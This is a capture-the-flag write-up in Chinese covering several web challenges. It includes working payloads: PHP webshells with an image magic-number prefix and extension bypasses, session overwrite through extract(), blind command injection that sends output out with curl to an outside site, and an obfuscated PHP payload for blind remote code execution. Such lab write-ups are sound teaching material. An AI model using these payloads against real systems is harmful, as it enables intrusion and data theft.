

Lecture

HTTP Method

先簡單送個 GET request 你會發現這網頁什麼都沒有

然而 你如果改用 OPTIONS request 來確認有甚麼 method 的話

```
curl -X OPTIONS <host>
```

會發現有個奇怪的 method 叫 FLAGISHERE

因此用以下的指令就可以拿到flag了

```
curl -X FLAGISHERE <host>
```

FLAG: FLAG{Y0U_know_h0w2requestHTTP_N0w}

JsFxxk

直接貼到開發人員工具的console去執行就可以了

FLAG: FLAG{Hey_U_knew_th3_Deve10per_T00l_w311}

PHPisBest

因為網頁中使用到 extract() 這個 function

所以我們可以任意覆蓋掉其他變數

所以用以下指令就可以拿到 FLAG 了

```
curl <host> -d "user=test&passwd=test&_SESSION[name]=admin"
```

FLAG: FLAG{As_U_kn0w_PHP_15_the_Best_Language}

Only4Robots

雖然可以直接存取 robots.txt 的頁面

但乍看之下 robots.txt 好像一點幫助都沒有

不過 如果在 robots.txt 頁面中滾動至最底會看到小提示

所以我們可以把 User-Agent 改成 google-bot 後進入 robots.txt

```
curl <host>/robots.txt -H 'User-Agent: googlebot'
```

然後就能看到FLAG了

FLAG: FLAG{How_dare_you_access_Here}

Baby CMDi

這個題目沒有提供 source code

所以必須先黑箱出他 WAF 了哪些東西

不過因為回顯很明確 所以也沒有甚麼難度

然後 大概可以測出被 WAF 掉的東西有 `&`, `|`, `;`, ```, `>`, `\t`, `\r`, `\n`, `cat`, `flag`

但可以注意到的是我們還有 `$` 可以用

可以用 `$(sleep 5)` 這樣的 payload 確認他會 work

但在用 `$()` 的時候 是沒有 response 的

所以可以利用 `$(curl <site> -d <something>)` 來接收 response 的資料

FLAG: `FLAG{C00001_U_Are_Talent_Of_She11111}`

ImageUploader

這題很明顯就要利用上傳webshell來做到RCE

而且題目基本上沒有什麼太多的阻擋

所以只要造個最基本的 webshell 像是 `<?php system($_GET['cmd']); ?>` 就可以了

唯一要注意的點是 上傳上去的副檔名會是 jpg 會讓你的 webshell 無法被執行

不過只要稍微看下 source code 就會知道 他的副檔名是根據前端的資料決定的

因此 我們只要修改前端就可以做出任意的副檔名了

透過 Webshell 你可以在 `flag` 找到 flag

FLAG: `FLAG{U_can_Up10ad_More_than_1m4ge}`

ImageUploader2

這題又比前一題多了些檢查

首先在 `exif_imagetype()` 這邊會有個檢查

但其實要繞過並不困難

只要假造一些 圖片檔的 magic number 在 php webshell code 前面就行了

php 在執行時會忽略這些東西的 所以不會有影響

另一個檢查的部分是附檔名的部分不能是 `.php`

但其實也沒什麼難度

這邊可以繞過可以利用大小寫 `.pHp` 或是其他支援的 php 副檔名 `.php7`, `.phtml`, ...

```
echo -e "\xFF\xD8\xFF\xE0\x00\x10 <?php system($_GET['cmd']);?>" > webshe11.pHp
```

FLAG: `FLAG{U_R_Rea1ly_G00D_4t_Craft_1m4ge}`

Ev41

其實這題唯一的重點就是要繞過 `base64_decode()`

而 `base64_decode()` 在大約 PHP 7.3 之前都會預設忽略不合法的 base64 字元

因此我們只要讓 payload 全部都是不合法的 base64 字元就可以繞過了

因此 POST 下列 payload 我們就可以達到無回顯的 RCE

```
payload=$_._.("\x18\x1a\x0b"^\____);$_=$$_;`{$$_[_]}`;
```

這串 payload 基本上就是先構造一個 '_GET' 出來 然後利用 `$_GET[_]` 來達到無回顯的 RCE

然後 沒回顯的 RCE 就跟 blind CMDi 一樣 我們利用 curl 即可

範例 payload: `curl ' <host>/?_=$_curl%20<site>%20-d%20$(<cmd>)' -d 'payload=$_._.("\x18\x1a\x0b"^\____);$_=$$_;`{$$_[_]}`;'`

FLAG: `FLAG{H0w_did_U_bypass_BA5E64!!!!???`